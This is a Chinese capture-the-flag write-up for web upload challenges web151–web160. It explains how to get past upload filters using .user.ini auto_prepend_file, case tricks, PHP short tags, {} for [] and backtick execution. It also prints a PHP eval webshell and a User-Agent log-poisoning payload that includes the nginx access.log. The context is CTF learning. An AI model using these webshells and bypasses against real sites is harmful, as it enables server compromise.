目录
web151
抓包,先上传一个假图片,再修改包内容信息
再根据回显路径,上蚁剑连接后门即可找到flag文件
web152
根web151一样,上传图片抓包修改一下后缀跟内容即可
web153
过滤了挺多常规的方法,但是能用.user.ini绕过
建议不懂的可以参考
先创建一个配置文件
auto_prepend_file = 1.png
跟一个1.png文件
<?php
@eval($_POST['x']);
phpinfo();
?>
依次上传这两个文件,第一个要抓包上传
上传完后访问 /upload/index.php
接着上蚁剑连接即可
总结:
.user.ini配置文件是PHP的,可以在全部环境里生效,而.htaccess配置文件是Apache特有
web154
本题是黑名单过滤,过滤了php后缀,还有包涵php内容的文件,跟上一题一样,这里用大小写绕过即可
总结 :
php文件内容改掉大小写依旧生效,除变量外,如<?php相当<?Php
web155
本题一样是黑名单过滤,与上题相比过滤掉了文件内容php(不区分大小写),所以我们得用短标签绕过过滤。
<? echo '123';?> //short_open_tags=on
<?=(表达式)?> 等价于 <?php echo (表达式)?> //无限制
<% echo '123';%> //asp_tags=on php_version < 7
<script language="php">echo '123'; </script> //php_vsesion < 7
同上方法,先上传配置文件.user.ini ,然后再上传文件
<?=eval($_POST['x']);?>
然后再用蚁剑连接即可
总结:
php被过滤的时候可以利用短标签过滤
web156
跟上题相比这里过滤掉了[]
我们可以用{}代替掉[]而达到绕过的效果
同样用.user.ini配置绕过,将文件分别上传后连接蚁剑即可
总结:
[]被过滤的时候用用{}代替
web157
跟前面一样,先尝试上传一个配置文件,
那就好办了,接下来绕过内容过滤就好了
经过测试发现过滤掉了大括号{},[],;
所以可以说这样基本把马给锁死了,但是我们可以任意执行php,就用系统命令查看一下,直接找到flag文件,
nl ../fla*
之后访问upload/index.php即可找到flag
web158
跟上一题一样,直接文件读取
web159
本题过滤掉了
php
{}
[]
;
()
所以就无法调用所有的函数了,但是能利用php特性,命令执行可以用``(反引号包涵)
<?=`nl ../fl*`?>
web160
与上题相比,这题将空格和``反引号和log过滤掉了,所以上传的时候要注意略过多余的空格,log可以用点号拼接绕过,且本题不能使用上题的方法,考虑到日志包含,
nginx的日志文件在/var/log/nginx/access.log里头,先看看日志文件有什么,这里上传内容为
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
然后直接访问upload
可以看到包含日志成功,密密麻麻的字符串中,可以发现有UA信息,也就是http请求头的user-agent,所以可以把后门或者是命令执行插入到user-agent,前面的配置文件会连带执行php,就能拿到flag了,在UA后面加上
<?php @eval($_POST['x']);?>
上传完后拿蚁剑连接即可
总结:
当命令执行跟木马上传失败的时候,可以利用日志包含上传